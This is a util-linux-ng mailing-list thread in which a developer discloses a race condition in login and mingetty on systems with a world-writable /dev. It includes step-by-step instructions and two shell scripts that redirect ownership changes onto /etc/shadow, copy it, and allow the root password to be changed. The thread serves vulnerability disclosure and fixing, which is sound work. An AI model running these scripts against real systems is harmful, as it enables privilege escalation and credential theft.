On Fri, Jan 29, 2010 at 12:13:41PM +0100, Yann Droneaud wrote: > Le jeudi 28 janvier 2010 à 16:52 +0100, Karel Zak a écrit : > > On Mon, Jan 25, 2010 at 11:12:08PM +0100, Yann Droneaud wrote: > > > While trying to do some fun stuff with /dev mounted with permission 01777 > > > when devtmpfs is used, I've found some race in login which are easy to stop. > > > > Do you have any reproducible example? I'd like to test it. > > > > Hi, > > Since kernel 2.6.32.7 is out with the proper fix to devtmpfs, you will > have to setup yourself /dev to permissions mode 01777. I see if ! mount -t devtmpfs -omode=0755 udev /dev >/dev/null 2>&1; then in dracut code. I hope that nobody use writeable /dev in some distribution. Kay? Karel > When logged on a tty, login changes the owner of the device to the user > currently logged in. Before this, mingetty and login setup the tty > device to root:root owner and restrictive permissions. > > While logged in, here is a typical tty: > $ ls -l /dev/tty1 > crw--w---- 1 user tty 4, 1 2010-01-29 11:49 /dev/tty1 > > If /dev is world writable, user is able to: > - create new files (not devices) > - rename, unlink, chmod the device owned by him. > - create symlinks > - create hardlinks > > So, when logged in one can do: > user@tty1 $ cd /dev > user@tty1 $ rm tty1 > user@tty1 $ ln -s /etc/passwd tty1 > user@tty1 $ logout > > When logout, mingetty will respawn and will change permissions to 600 > and ownership to root:tty on the file pointed by /dev/tty1. But it won't > be able to go further since /etc/passwd is not a tty device. > > Tricking login to change permission and ownership to something useful > requires a race. > > So let's start: > > Log in as user on tty1 > > user@tty1 $ cd /dev > user@tty1 $ sh /tmp/setup.sh > > setup.sh will create a subtree in /dev fully owned by user. > It will create two symlinks level: /dev/tty1 => /dev/dev/dev/tty1, > (one level is probably enough, a directory under our control is > necessary to spoof "login", see later) > > Now we have > /dev/tty1 => dev/tty1 > /dev/dev/tty1 => dev/tty1 > /dev/dev/ved1/tty1 => /etc/shadow > > user@tty1 $ logout > > Go to tty2, and login. > > user@tty2 $ cd /dev/dev > > Prepare to run sh /tmp/get.sh > > Go back to tty1, enter username and password but do not validate the > password yet. Go to tty2 and execute the command: > > user@tty2 $ sh /tmp/get.sh > > Go back to tty1, press ENTER to validate the password, then you could > try to hit CTRL-C, to stop bash from writing in /etc/shadow. > > On tty2, the get.sh script will have exchanged directories and if you're > lucky, login should have changed permissions on /etc/shadow and not > on /dev/dev/dev/tty1, and if your are very lucky, mingetty won't restore > the permission on /etc/shadow but on /dev/dev/dev/tty1. > get.sh should have written a copy of /etc/shadow as passwd.<RANDOM>, > and /etc/shadow should be writable, allowing user to change root > password. Remarks: sometimes /etc/shadow is overwritten by the shell > started for /dev/tty1. > > Some explanations: > > login was broken as it get the realpath of the current tty multiple > times (using ttyname), but uses the first realpath result later when > it's going to change the ownership and permissions. Between those calls, > there's a race. > login close and reopen the tty twice, each time, the path must point to > a tty in order to process to login, and get to the final stage, where it > changes the ownership and permissions. > > Replacing the tty by a symlink wasn't a direct way, since the symlink > target get owned by root thanks to mingetty. Instead having a directory > owned by user allow to change the file (remember tty1 was owned by root) > without changing path. > To exploit the race, a background process will have to flip/flop the > directory, so only the tty device get owned by root, and still being > able to change the target to something under our control. > > Here are the scripts: > > setup.sh is the script you have run when logged in /dev/tty1 in order to > setup the directories > > --------8<---------- > #!/bin/sh > > mkdir -p /dev/dev/dev > > mv /dev/tty1 /dev/dev/dev/ > > cd /dev/dev > ln -s dev/tty1 tty1 > cd /dev > ln -s dev/tty1 tty1 > > # /dev/tty1 => /dev/dev/tty1 > # /dev/dev/tty1 => /dev/dev/dev/tty1 > > cd /dev/dev > mkdir ved1 > cd ved1 > ln -s /etc/shadow tty1 > > # /dev/dev/ved1/tty1 => /etc/shadow > > --------8<---------- > > get.sh is the script to run on the second tty to change the directories > and make copies of /etc/shadow. In order to run it, /dev/ tree must be > prepared by the setup.sh script. > If the exploit was already tried, you must ensure that the /dev/dev/ > tree is ok: check dev1, ved1, and dev, rename if needed. > > --------8<---------- > #!/bin/sh > > cd /dev/dev > while true; do > mv -f dev dev1; mv -f ved1 dev; > cp -f /etc/shadow passwd.$RANDOM > /dev/null 2>&1 ; > if test $? -eq 0 ; then > echo "Success" > mv -f dev ved1 ; mv -f dev1 dev; > break; > fi > mv -f dev ved1; mv -f dev1 dev; > done > --------8<---------- > > Regards > > -- > Yann Droneaud > -- Karel Zak <kzak@xxxxxxxxxx> -- To unsubscribe from this list: send the line "unsubscribe util-linux-ng" in the body of a message to majordomo@xxxxxxxxxxxxxxx More majordomo info at http://vger.kernel.org/majordomo-info.html